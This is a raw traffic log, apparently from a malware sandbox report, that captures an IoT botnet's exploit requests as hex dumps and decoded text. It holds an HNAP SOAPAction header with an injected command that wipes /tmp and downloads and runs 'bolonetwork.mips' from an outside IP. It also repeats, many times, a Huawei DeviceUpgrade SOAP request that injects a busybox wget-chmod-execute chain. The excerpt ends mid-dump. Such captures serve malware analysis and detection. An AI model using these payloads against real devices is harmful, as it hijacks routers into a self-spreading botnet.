64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 